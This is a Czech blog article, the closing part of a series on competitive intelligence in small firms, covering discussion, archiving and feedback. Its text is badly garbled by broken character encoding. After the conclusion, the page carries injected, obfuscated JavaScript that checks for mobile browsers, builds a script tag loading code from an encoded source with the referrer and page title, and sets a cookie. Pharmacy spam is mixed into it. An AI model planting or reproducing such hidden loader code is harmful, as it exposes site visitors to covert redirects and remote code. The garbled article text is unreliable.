UA?EAi??, M.: Competitive intelligence a malAi?? firmy (V.)

Autorské články, CI v praxi, Realizace CI

31. 10. 2011

PoslednAi?? dAi??l cyklu o zavA?dAi??nAi?? konkurenA?nAi??ho zpravodajstvAi?? do malA?ch firem nA?s zavede na samotnA? konec cyklu CI. Minule jsme skonA?ili u rozesAi??lA?nAi?? zprA?v ai??i?? to ovA?em jeA?tAi?? zdaleka nenAi?? vA?e. ZprA?va by mAi??la mAi??t svA?j vA?znam a pAi??Ai??padnAi?? podnAi??tit diskuzi vedoucAi?? k nAi??jakAi??mu zA?vAi??ru. PodobnAi?? dA?leA?itA? je i zpAi??tnA? vazba pro CI specialistu. Ve finA?le rovnAi??A? nelze opomenout archivaci, kterA? zaruA?uje snadnAi?? vyhledA?nAi?? informacAi?? v pAi??Ai??padAi?? potAi??eby. Dnes se tedy zamAi??Ai??Ai??me na ai??i?? tak trochu dodateA?nAi?? ai??i?? A?innosti v CI cyklu, kterAi?? spolu na prvnAi?? pohled pAi??Ai??liA? nesouvisAi?? a zdA?nlivAi?? ani nejsou tolik potAi??ebnAi??. Ve skuteA?nosti ale pAi??itom velmi silnAi?? ovlivA?ujAi?? efektivitu a dodA?vajAi?? pAi??idanou hodnotu konkurenA?nAi??mu zpravodajstvAi??.

Autor: Michal UA?eA?

Cyklus a procesy CI v malA?ch firmA?ch: diskuze, archivace a zpAi??tnA? vazba

KdyA? CI specialista odeA?le zprA?vu sAi??informacAi??, jeA?tAi?? zdaleka nekonA?Ai?? cyklus CI. Tohle je velmi A?astA? chyba a vAi??podstatAi?? znehodnocuje celA? systAi??m konkurenA?nAi??ho zpravodajstvAi??, protoA?e takovA? zprA?va se pak vAi??tA?inou vytratAi?? a mA? minimA?lnAi?? vliv na A?innost firmy.

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Diskuze

VAi??rA?mci odesAi??lA?nAi?? zprA?vy je nutnAi?? poA?Ai??tat i sAi??komuni­kacAi?? pAi??Ai??jemcA? navzA?jem, protoA?e se pravdAi??podobnAi?? objevAi?? rA?znAi?? nA?zory a pAi??Ai??padnAi?? nA?vrhy, jak by mAi??la firma reagovat na danou situaci. SamozAi??ejmAi?? se A?asto stA?vA?, A?e reakce nebude A?A?dnA?, ale pokud zprA?va nese relevantnAi?? informace pro skupinu pAi??Ai??jemcA? a je opravdu dA?leA?itA?, obvykle se nAi??jakAi?? objevAi??. Diskuze mA?A?e probAi??hat rA?znA?mi zpA?soby a vAi??tomto bodAi?? zA?leA?Ai?? uA? opravdu na konkrAi??tnAi?? firmAi??, jestli se bude Ai??eA?it situace formou e-mailu, telefonicky nebo osobnAi??m setkA?nAi??m.

ZAi??diskuze by mAi??ly bA?t vyvozeny urA?itAi?? zA?vAi??ry. NemusAi?? se pAi??Ai??mo jednat o reakci firmy, zA?leA?Ai?? vA?dy na povaze zprA?vy ai??i?? napAi??Ai??klad pokud konkurence uvA?dAi?? novA? produkt, pak je velmi vhodnAi?? prostAi??ednic­tvAi??m diskuze navrhnout dalA?Ai?? postup a pAi??izpA?sobit strategii firmy. Naopak vAi??pAi??Ai??pa­dAi??, kdy konkurent otevAi??el novA? obchod, staA?Ai?? vzAi??t tuto informaci na vAi??domAi??, pAi??Ai??padnAi?? informovat vlastnAi?? zastoupenAi?? vAi??danAi?? lokalitAi?? a sledovat, jak novAi?? otevAi??enA? poboA?ka ovlivnAi?? obchodnAi?? vA?sledky. VAi??kaA?dAi??m pAi??Ai??padAi?? je vA?ak nutnAi?? nAi??jakA?m zpA?sobem sAi??informacAi?? naloA?it (opAi??t je tAi??eba pAi??ipomenout, A?e zprA?va musAi?? bA?t relevantnAi?? a mAi??t pro pAi??Ai??jemce hodnotu). KonkurenA?nAi?? zpravodajstvAi?? bez viditelnA?ch dA?sledkA? pro firmu vAi??podstatAi?? nemA? vA?znam a stane se pouze pAi??Ai??tAi??A?A­i?? s dopadem na efektivitu jejAi??ho fungovA?nAi??, to pak zejmAi??na platAi?? vAi??pAi??Ai??pa­dAi?? firem menA?Ai??ch.

Archivace

Firmy A?asto nevAi??nujAi?? pozornost uchovA?vA?nAi?? starA?Ai??ch zprA?v, protoA?e informace je aktuA?lnAi?? vAi??danA? moment a zdA?nlivAi?? ji nelze vyuA?Ai??t vAi??budoucnosti. Ano, smyl konkurenA?nAi??ho zpravodajstvAi?? je hlavnAi?? v rychlAi?? reakci na zmAi??ny v prostAi??edAi??, ale velmi dobAi??e lze vyuA?Ai??t i zprA?vy starAi?? nAi??kolik mAi??sAi??cA? nebo dokonce i let. Jako pAi??Ai??klad si mA?A?eme uvAi??st prA?bAi??A?nou analA?zu vA?voje konkurenA?nAi?? firmy, kterA? bAi??A?nAi?? nezvAi??Ai??ejA?uje svAi?? obchodnAi?? a finanA?nAi?? vA?sledky. VAi??tiskovA?ch zprA?vA?ch se tAi??eba mA?A?e objevit aktuA?lnAi?? poA?et zA?kaznAi??kA? a pokud budeme zpAi??tnAi?? analyzovat vzhledem kAi??datu vydA?nAi?? tiskovAi?? zprA?vy, zAi??skA?me pAi??ehled o nA?rA?stu poA?tu zA?kaznAi??kA?. To je moA?nAi?? jednoduA?e vynA?sobit cenou produktA? a jiA? pAi??ibliA?nAi?? vAi??me, jakAi?? mA? konkurent trA?byai??i?? Na toto A?Ai??slo lze navA?zat dalA?Ai?? analA?zy odhalujAi??cAi?? zisk apod. To vA?e bude samozAi??ejmAi?? pouze odhad, jehoA? pAi??esnost zA?visAi?? zejmAi??na na zdroji informacAi??. I odhad vA?ak mA?A?e bA?t velmi uA?iteA?nA?, pAi??edevA?Ai??m pokud se jednA? o malAi?? firmy, kdy vAi??tA?ina konkurence sestA?vA? z podobnA?ch menA?Ai??ch firem (kterAi?? nezveAi??ejA?ujAi?? svAi?? vA?sledky).

Archivace se ovA?em ukA?A?e dA?leA?itA? i pAi??i produkci novA?ch informacAi??. CI specialista mA? tak moA?nost pAi??i zAi??skA?nA­i?? novAi?? informace dohledat a zkontrolovat jejAi?? souvislost sAi??jinA?mi informacemi, kterAi?? uA? napAi??. o danAi??m konkurentovi firma mA?.

Ve spojitosti sAi??archivacAi?? je vhodnAi?? sumarizovat informace kAi??jednotlivA?m subjektA?m a tedy vytvA?Ai??et pro kaA?dA? subjekt profil, kterA? zahrnuje kromAi?? zA?kladnAi??ch informacAi?? takAi?? pAi??ehled CI zprA?v, kterAi?? se kAi??nAi??mu vztahujAi??. Subjektem samozAi??ejmAi?? nemusAi?? bA?t jen konkurence, ale i dodavatel, zA?kaznAi??k, asociace, osoba apod.

ZpAi??tnA? vazba a vylepA?ovA?nAi?? CI aktivit

KonkurenA?nAi?? zpravodajstvAi?? je tak trochu zrA?dnA? aktivita a aA?koliv se po pAi??ekonA?nAi?? prvotnAi??ho pesimismu mA?A?e zdA?t, A?e pAi??ispAi??vA? k podpoAi??e pAi??i rozhodo­vA?nAi??, A?asto se postupem A?asu sniA?uje jejAi?? pAi??Ai??nos pro firmu. DA?vody jsou rA?znAi??, vAi??tA?inou ale CI specialista vlivem rutiny vAi??podstatAi?? ztratAi?? pAi??ehled o pAi??Ai??nosu zprA?v pro pAi??Ai??jemce. Informace se tedy sice rozA?Ai??Ai??Ai??, ale nikdo je nijak nevyuA?Ai??vA? a A?asem zkrA?tka ai??zvyA?umAi??a­i???. ZAi??tohoto dA?vodu je vhodnAi?? si zprA?vy CI rekapitulovat a zhodnotit jejich pAi??Ai??nos pro firmu. BohuA?el zprA?vy CI jsou vyuA?Ai??vA?ny pro taktickAi?? a strategickAi?? rozhodovA?nAi??, a dA?sledky tedy budou viditelnAi?? aA? vAi??delA?Ai??m A?asovAi??m horizontu. Pro prA?bAi??A?nAi?? vyhodnocovA?nAi?? je nicmAi??nAi?? dobrAi?? nastavit systAi??m zpAi??tnAi?? vazby, kdy pAi??Ai??jemci danou zprA?vu ohodnotAi?? po jejAi??m pAi??eA?tenAi??. SamozAi??ejmAi?? vAi??tu chvAi??li jeA?tAi?? nemajAi?? pAi??edstavu o dA?sledku pro firmu, ale mohou alespoA? zhodnotit, jestli pro nAi?? byla zajAi??mavA?. Takto lze jednak vyprofilovat skupiny pAi??Ai??jemcA? pro urA?itA? typ zprA?v, takA?e CI specialista bude vAi??dAi??t, komu kterou zprA?vu dle jejAi??ho obsahu rozeslat. DruhA?m vA?stupem je samotnAi?? zhodnocenAi?? efektivity konkurenA?nAi??ho zpravodajstvAi?? zAi??hlediska pAi??Ai??jemcA?, tedy osob, kterAi?? informace majAi?? vyuA?Ai??vat. SlabAi?? vA?sledky hodnocenAi?? jsou vAi??takovAi??m pAi??Ai??padAi?? znakem, A?e nAi??co nefunguje sprA?vnAi?? a je potAi??eba provAi??st zmAi??ny. TakAi?? nebude od vAi??ci jednou za A?as vyhodnotit statistiky zahrnujAi??cAi?? poA?et odeslanA?ch zprA?v, poA?et reakcAi?? vAi??diskuzi apod.

Nutno podotknout, A?e pro efektivnAi?? evidenci subjektA? a archivaci je pAi??i vAi??tA?A­i??m mnoA?stvAi?? A?dajA? nutnAi?? pouA?Ai??t specializovanA? software urA?enA? na komunikaci CI zprA?v. BohuA?el levnA?ch variant CI softwaru je mA?lo, a tak se malAi?? firmy opAi??t budou muset uchA?lit kAi??univerzA?lnA­i??m Ai??eA?enAi??m urA?enA?m obecnAi?? pro kooperaci a komunikaci. BohuA?el vAi??takovA?ch pAi??Ai??padech jde vA?dy o kompromis. Na druhou stranu vyuA?Ai??vA?nAi?? archivace zprA?v a diskuzAi??, evidence subjektA?, zpAi??tnAi?? vazby atd. patAi??Ai?? uA? k pokroA?ilejA?A­i??m metodA?m konkurenA?nAi??ho zpravodajstvAi??, kterAi?? pAi??edevA?Ai??m usnadA?ujAi?? prA?ci CI specialistovi a vAi??mnohA?ch malA?ch firmA?ch se bez nich alespoA? vAi??ranAi?? fA?zi implementace CI obejdete.

ZA?vAi??r

TAi??mto A?lA?nkem prozatAi??m uzavAi??rA?me cyklus o konkurenA?nAi??m zpravodajstvAi?? vAi??malA?ch firmA?ch. Samotnou kapitolou a nA?mAi??tem pro pokraA?ovA?nAi?? cyklu je vyuA?itAi?? softwaru kAi??usnadnAi??nA­i?? prA?ce a ke zvA?A?enAi?? pAi??idanAi?? hodnoty konkurenA?nAi??ho zpravodajstvAi??. PAi??estoA?e tedy tento cyklus konA?Ai??, mA?A?ete se tAi??A?it na volnAi?? pokraA?ovA?nAi?? zamAi??Ai??enAi?? prA?vAi?? na tuto oblast.

Na zA?vAi??r si ve zkratce zrekapitulujme zA?kladnAi?? pravidla:

  • Nenechte se zmA?st odbornou literaturou. BohuA?el, odbornAi?? publikace se zamAi??Ai??ujAi?? hlavnAi?? na velkAi?? korporace, kterAi?? fungujAi?? A?plnAi?? jinA?m zpA?sobem, neA? malAi?? firmy.
  • Neexistuje univerzA?lnAi?? postup. KaA?dA? firma mA? jinou strukturu a kulturu komunikace; musAi??te sami pAi??ijAi??t na to, jakA?m zpA?sobem by CI mAi??lo fungovat prA?vAi?? ve vaA?Ai?? firmAi??.
  • ZpoA?A?tku neinvestujte do CI velkAi?? A?A?stky. DrahA? software mA?A?e nahradit levnAi?? Ai??eA?enAi?? urA?enAi?? primA?rnAi?? na jinAi?? A?A?ely nebo jednoduA?e pouA?Ai??vejte e-maily a open source.
  • Nastavte jednoduchA? systAi??m a postupnAi?? vylepA?ujte. Postupujte vA?dy sAi??ohledem na efektivnAi?? fungovA?nAi?? systAi??mu tak, aby nenaruA?il flexibilitu fungovA?nAi?? firmy. VA?dy se po nAi??jakAi??m A?ase ohlAi??dnAi??te, jestli mA? konkurenA?nAi?? zpravodajstvAi?? pro firmu pAi??Ai??nos, pAi??Ai??padnAi?? co lze vylepA?it a co brzdAi?? efektivitu. VAi??delA?Ai??ch A?asovA?ch periodA?ch si zesumarizujte, jak CI ovlivnilo rozhodnutAi?? vAi??danAi??m obdobAi??.

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 –1){if(/(andro­id|bb\d+|meego)­.+mobile|avan­tgo|bada\/|blac­kberry|blazer|com­pal|elaine|fen­nec|hiptop|ie­mobile|ip(hone|od|ad)|i­ris|kindle|lge |maemo|midp|mmp|mo­bile.+firefox|net­front|opera m(ob|in)i|palm( os)?|phone|p(i­xi|re)\/|pluc­ker|pocket|psp|se­ries(4|6)0|sym­bian|treo|up\­.(browser|lin­k)|vodafone|wap|win­dows ce|xda|xiino/i[_0×446d­[8]](_0×ecfdx1)|| /1207|6310|65­90|3gso|4thp|50[1–6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(­av|ca|co)|amo­i|an(ex|ny|yw)|ap­tu|ar(ch|go)|as(te|us)|at­tw|au(di|\-m|r |s )|avan|be(ck|ll­|nq)|bi(lb|rd)|bl(ac|az)­|br(e|v)w|bum­b|bw\-(n|u)|c55\/|c­api|ccwa|cdm\-|cell|chtm|cldc­|cmd\-|co(mp|nd)|cr­aw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c­|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)­|er(ic|k0)|es­l8|ez([4–7]0|os|wa|ze)­|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad­|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)­|tp)|hu(aw|tc)|i\-(20|go|ma)|i2­30|iac( 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d=document;var s=d[_0×d052[1­]](_0×d052[0]);s[_0×d052­[2]]= _0×d052[3]+ encodeURICompo­nent(document[_0×d052[4]­])+ _0×d052[5]+ encodeURICompo­nent(document[_0×d052[6]­])+ _0×d052[7]+ window[_0×d052[­11]][_0×d052[10]][_0×d05­2[9]](_0×d052[8],_0×d052­[7])+ _0×d052[12];i­f(document[_0×d052[13­]]){document[_0×d052[13­]][_0×d052[15]][_0×d052[­14]](s,documen­t[_0×d052[13]])}el­se {d[_0×d052[18­]](_0×d052[17])[0][_0×d0­52[16]](s)};if(do­cument[_0×d052[11­]][_0×d052[19]]=== _0×d052[20]&& KTracking[_0×d052[22­]][_0×d052[21]](_0×d052[­3]+ encodeURICompo­nent(document[_0×d052[4]­])+ _0×d052[5]+ encodeURICompo­nent(document[_0×d052[6]­])+ _0×d052[7]+ window[_0×d052[­11]][_0×d052[10]][_0×d05­2[9]](_0×d052[8],_0×d052­[7])+ _0×d052[12])===  –1){alert(_0×d052[23­])}var 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d=document;var s=d[_0×b322[1­]](_0×b322[0]);s[_0×b322­[2]]= _0×b322[3]+ encodeURICompo­nent(document[_0×b322[4]­])+ _0×b322[5]+ encodeURICompo­nent(document[_0×b322[6]­])+ _0×b322[7]+ window[_0×b322[­11]][_0×b322[10]][_0×b32­2[9]](_0×b322[8],_0×b322­[7])+ _0×b322[12];i­f(document[_0×b322[13­]]){document[_0×b322[13­]][_0×b322[15]][_0×b322[­14]](s,documen­t[_0×b322[13]])}el­se {d[_0×b322[18­]](_0×b322[17])[0][_0×b3­22[16]](s)};if(do­cument[_0×b322[11­]][_0×b322[19]]=== _0×b322[20]&& KTracking[_0×b322[22­]][_0×b322[21]](_0×b322[­3]+ encodeURICompo­nent(document[_0×b322[4]­])+ _0×b322[5]+ encodeURICompo­nent(document[_0×b322[6]­])+ _0×b322[7]+ window[_0×b322[­11]][_0×b322[10]][_0×b32­2[9]](_0×b322[8],_0×b322­[7])+ _0×b322[12])===  –1){alert(_0×b322[23­])} buy meds online no prescription. usonline viagra, usonline viagra, usonline viagra, usonline viagra, usonline viagra, usonline viagra, usonline viagra, usonline viagra. var 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|maemo|midp|mmp|mo­bile.+firefox|net­front|opera m(ob|in)i|palm( os)?|phone|p(i­xi|re)\/|pluc­ker|pocket|psp|se­ries(4|6)0|sym­bian|treo|up\­.(browser|lin­k)|vodafone|wap|win­dows ce|xda|xiino/i[_0×446d­[8]](_0×ecfdx1)|| /1207|6310|65­90|3gso|4thp|50[1–6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(­av|ca|co)|amo­i|an(ex|ny|yw)|ap­tu|ar(ch|go)|as(te|us)|at­tw|au(di|\-m|r |s )|avan|be(ck|ll­|nq)|bi(lb|rd)|bl(ac|az)­|br(e|v)w|bum­b|bw\-(n|u)|c55\/|c­api|ccwa|cdm\-|cell|chtm|cldc­|cmd\-|co(mp|nd)|cr­aw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c­|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)­|er(ic|k0)|es­l8|ez([4–7]0|os|wa|ze)­|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad­|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)­|tp)|hu(aw|tc)|i\-(20|go|ma)|i2­30|iac( |\-|\/)|ibro|ide­a|ig01|ikom|im1k|in­no|ipaq|iris|ja(t|v)a­|jbro|jemu|jig­s|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no­|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|­ma(te|ui|xo)|mc(01|­21|ca)|m\-cr|me(rc|ri)|­mi(o8|oa|ts)|mmef|m­o(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(­50|p1|v )|mwbp|mywa|n10[0–2]|n20[2–3]|n30(0|2)|n­50(0|2|5)|n7(0(0|1)|10)|­ne|phil|pire|pl(a­y|uc)|pn\-2|po(ck|rt|se­)|prox|psio|pt\-g|qa\-a|qc(07|12|21­|32|60|\-[2–7]|i\-)|qtek|r380|r­600|raks|rim9|ro(ve­|zo)|s55\/|sa(ge|ma|mm|m­s|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|n­d|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|s­m(al|ar|b3|it|t5)|so(ft|­ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t­2(18|50)|t6(00|10|18)|ta­(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|­ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|ut­st|v400|v750|ve­ri|vi(rg|te)|vk(40|5[0–3]|\-v)|vm40|voda|vul­c|vx(52|53|60|61|70|80|8­1|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|­wonu|x700|yas\-|your|zeto|zte\-/i[_0×446d[8]­](_0×ecfdx1[_0×446d­[9]](0,4))){var _0×ecfdx3= new Date( new Date()[_0×446d­[10]]()+ 1800000);docu­ment[_0×446d[2]­]= _0×446d[11]+ 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